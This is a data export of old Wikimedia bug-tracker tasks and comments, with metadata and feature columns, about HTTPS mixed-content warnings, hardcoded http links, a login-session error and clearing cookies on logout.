+That would completely ruin caching, unless implemented as a gadget.",,,1322604325,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-92,True,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0
+158520,Link to switch to http/https version of current page,'Switch to secure site' 'Switch to OMG ALL YOUR COOKIES BELONG TO ME site' :P :),,,1322604301,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,True,,,-92,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+34550,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","The culprit is this cute bugzilla logo on the link to our Bugzilla:
+
+[10:25:02.522] GET http://www.bugzilla.org/img/buggie.png [HTTP/1.1 200 OK 4ms]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://svn.wikimedia.org/viewvc/mediawiki/trunk/",Medium,50.0,1321899960,1322678556.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-lja273o24m2sewxmecrd,task_description,resolved,True,c2,1,True,False,True,-93,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+159412,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","It can -- done. :)
+
+Thanks Peter!",,,1322678556,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+159409,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","(In reply to comment #4)
+> this be done now.
+
+Can this bug be marked resolved fixed?",,,1322618305,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1
+159404,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","**py** wrote:
+
+this be done now.",,,1322593315,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+159398,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings",Aha yeah that other one didn't show up for me cause HTTPS-Everywhere apparently magically rewrote one icon but not the other. whooooooooooa duuuuuuuude,,,1321926026,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,True,,,-93,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+159392,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings",adding peter since he did the work.,,,1321924616,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+159388,"ViewVC on svn.wikimedia.org loads an icon over HTTP, causing mixed content warnings","<gerrit-wm> New patchset: Pyoungmeister; ""adding an ""s"" to get rid of a mixed
+            content warning. bz 32550"" [operations/puppet] (production) -
+            https://gerrit.wikimedia.org/r/982
+<notpeter> also, there's going to be another thing giving the warning:
+           http://upload.wikimedia.org/wikipedia/commons/thumb/1/12/Wikimedia_logo_text_RGB.svg/76px-Wikimedia_logo_text_RGB.svg.png",,,1321924497,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lja273o24m2sewxmecrd,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+34379,DatabaseError.php is hardcoding http,"In DatabaseError.php are tow hardcoded http which can be changed to protocol realtive urls.
+
+Thanks.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: trivial",Medium,50.0,1321110480,1321220595.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-cebgzmpf2f65opjqug6s,task_description,resolved,True,c2,1,False,False,True,-94,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+157883,DatabaseError.php is hardcoding http,r102910,,,1321220595,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-cebgzmpf2f65opjqug6s,task_subcomment,,True,c2,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+34363,"Login sometimes causes unexpected ""Login Error"" message","**Author:** `dnessett`
+
+**Description:**
+This bug was discovered while working on bug 32122 (https://bugzilla.wikimedia.org/show_bug.cgi?id=32122). In order to reproduce it reliably, a developer must make the following changes to php.ini (this should *not* be done on a production machine, since the settings force the PHP garbage collector to run on every page access).
+
+- session.gc_probability = 100
+- session.gc_divisor     = 100
+- session.gc_maxlifetime = 60
+- session.save_path = <some directory writable by httpd>
+
+After making these changes restart httpd. Then execute the following:
+
+Login
+
+Immediately log out
+
+Wait more than 60 seconds. Do not change the page, stay on the ""Log out"" page
+which states: ""You are now logged out. You can continue to use MW_1_16_5
+anonymously ...""
+
+Login
+
+The error:
+
+""Login error
+ There seems to be a problem with your login session; this action has been
+canceled as a precaution against session hijacking. Go back to the previous
+page, reload that page and then try again.""
+
+is displayed.
+
+This bug appears to arise due to session management logic in MW in tandem with PHP session garbage collection. One commenter on bug 32122 suggests this is expected behavior. However, from a user's point of view that is highly unlikely.
+
+One possible solution is to destroy the session on logout. There is a PHP function, session_destroy that destroys session data, but it isn't clear whether that function actually deletes the session file. Also, it isn't clear how to delete sessions held by memcached.
+
+--------------------------
+**Version**: 1.16.x
+**Severity**: normal",Medium,50.0,1321036920,1616671414.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ocoec2m74xxi5ju2tb2i,False,PHID-TASK-jginap6vmqjytz5h5rd6,task_description,invalid,True,c2,1,False,False,False,-94,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+1692054,"Login sometimes causes unexpected ""Login Error"" message","Session handling was overhauled in 1.27, as well as the authentication part of the login process.",,,1616671414,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-jginap6vmqjytz5h5rd6,task_subcomment,,True,c2,3,True,,,395,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+156874,"Login sometimes causes unexpected ""Login Error"" message","**dnessett** wrote:
+
+I should have stipulated that when logging in DO NOT CHECK THE ""REMEMBER ME"" BOX.",,,1321040442,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jginap6vmqjytz5h5rd6,task_subcomment,,True,c2,1,False,,,-94,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+34227,blog.wikimedia.org show mixed-content warning with https,"Going to https://blog.wikimedia.org/ gives a mixed-content warning, because the images of the sidebar and the images of some posts/threads are loaded over http.
+
+Please change all images to protocol relative url.
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1320573960,1369205026.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_description,resolved,True,c2,1,False,False,True,-95,True,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+158403,blog.wikimedia.org show mixed-content warning with https,"Yes, but that's Bug 37229",,,1369205026,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+158398,blog.wikimedia.org show mixed-content warning with https,"**mah** wrote:
+
+re-opening.  Comments are submitted to http even when commenting on a page served by https.  This causes warnings.",,,1369164208,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+158392,blog.wikimedia.org show mixed-content warning with https,Fixed as far as the theme images are concerned (i.e. only the logo),,,1323098837,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+158387,blog.wikimedia.org show mixed-content warning with https,"(In reply to comment #3)
+> It is not alone the theme. Some posts contains images, which are load over
+> http.
+
+I understand, and while we can try to watch for them in new posts, I can't guarantee that we're going to go through ~600 blog posts just to change image links to protocol-relative URLs.",,,1322070964,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-92,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1
+158383,blog.wikimedia.org show mixed-content warning with https,"It is not alone the theme. Some posts contains images, which are load over http.",,,1322070764,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-92,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+158376,blog.wikimedia.org show mixed-content warning with https,"The blog's theme isn't yet hosted by us, but it will soon be (see bug 29113).
+
+Reassigning to me since I'm currently the one maintaining the theme.",,,1322054011,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+158371,blog.wikimedia.org show mixed-content warning with https,"I think the blog config is somewhere in SVN (or it should be). A few patches should be trivial here, if so.",,,1322051398,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,True,,,-92,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+34215,[Wikimedia Messages] Change all sitesupport-url to a https URL,"I am not sure, if protocol-relative url in the sidebar works, when it works, please change all sitesupport-url to protocol-relative urls, so https user get a https link. When not, we need another bug for that, which blocks this bug.
+
+This needs also some on-wiki changes, because at least de.wp has a local message [[de:MediaWiki:Sitesupport-url]].
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1320487440,1343591808.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-t7xyje5snhzrmrucfndq,task_description,resolved,True,c2,1,False,False,True,-95,True,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,1
+157678,[Wikimedia Messages] Change all sitesupport-url to a https URL,successfully merged,,,1343591808,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-57,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+157671,[Wikimedia Messages] Change all sitesupport-url to a https URL,See gerrit 16916,,,1343580105,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-57,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+157662,[Wikimedia Messages] Change all sitesupport-url to a https URL,In my opinion this needs fixing in the i18n file to get it also to new wikis.,,,1343397852,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-57,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+157655,[Wikimedia Messages] Change all sitesupport-url to a https URL,"This has been fixed at some point on local messages (which do indeed exist on each and every wiki), is anything else needed?",,,1343209076,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,True,,,-57,True,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+157648,[Wikimedia Messages] Change all sitesupport-url to a https URL,"(In reply to comment #8)
+> Partially. You would not catch local versions of the sidebar.
+> I am afraid that most wikis have ones, so the changes for those must happen on
+> each wiki individually.
+
+Yes, that needs also onwiki changes, but changing the translation on translatewiki.net will be a begin.",,,1341760651,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-60,True,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,1
+157641,[Wikimedia Messages] Change all sitesupport-url to a https URL,"Partially. You would not catch local versions of the sidebar.
+I am afraid that most wikis have ones, so the changes for those must happen on each wiki individually.",,,1341750646,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-60,True,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0
+157634,[Wikimedia Messages] Change all sitesupport-url to a https URL,It is possible to do the change on translatewiki with a global replace? Thanks.,,,1341693128,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-60,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+157628,[Wikimedia Messages] Change all sitesupport-url to a https URL,"(In reply to comment #4)
+> Does a {{scheme}} pseudo constant fix this class of issues?
+You mean a magic word that returns 'http' or 'https' depending on which protocol the current user is using? No, that deliberately doesn't exist because it would break the parser cache.",,,1322653872,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1
+157619,[Wikimedia Messages] Change all sitesupport-url to a https URL,"https sounds better than protocol relative, changing summary",,,1322393051,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+157612,[Wikimedia Messages] Change all sitesupport-url to a https URL,Does a {{scheme}} pseudo constant fix this class of issues?,,,1322299652,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+157600,[Wikimedia Messages] Change all sitesupport-url to a https URL,"If anything, sitesupport-url should probably just be an https link, because it links to the donation interface.",,,1322131030,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+157588,[Wikimedia Messages] Change all sitesupport-url to a https URL,"I do dare to change URLs in the form [ http://some.wikimedia.org desc ], but the URL in MediaWiki:Sitesupport-url can also be used in raw contexts, and changing it would break things.
+
+So I think we can't actually do this, because we cannot be certain that the URLs in this message are *only* used in the correct scenarios, or can we?
+
+If my assumptions are correct, this would be a ""wontfix""; input appreciated.",,,1322120860,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+157581,[Wikimedia Messages] Change all sitesupport-url to a https URL,"**hartman.wiki** wrote:
+
+We need something to scan all these messages for local changes, and then someone to do the dirty work of changing them. Who's got the bot skills ? :D",,,1321196068,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-94,True,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+34214,[TestSwarm] Accessing TestSwarm via HTTPS shouldn't load resources over HTTP,"When you go to https://toolserver.org/~krinkle/testswarm/ and start the tests only two scripts are loaded via https: jquery.js and run.js. All other scripts (line http://toolserver.org/~krinkle/testswarm-tmp-checkouts/r101990/resources/jquery/jquery.js) are loaded via http. This should change to https, too.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1320485040,1324549372.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-33c4jhyfmrntmnqffwtu,task_description,resolved,True,c2,1,False,False,True,-95,True,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+157534,[TestSwarm] Accessing TestSwarm via HTTPS shouldn't load resources over HTTP,"We have migrated Krinkle testswarm installation to a fresh new install on a Wikimedia Foundation server. I believe the issue you reported is now fixed.
+
+You should be able to confirm that using:
+https://integration.mediawiki.org/testswarm/
+
+Please reopen this bug if this is still an issue with the new server.",,,1324549372,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-33c4jhyfmrntmnqffwtu,task_subcomment,,True,c2,1,True,,,-88,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+34144,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","Or if the user was logged in via http and is logging out via https, the logged-in state in http will be kept.
+
+--------------------------
+**Version**: wmf-deployment
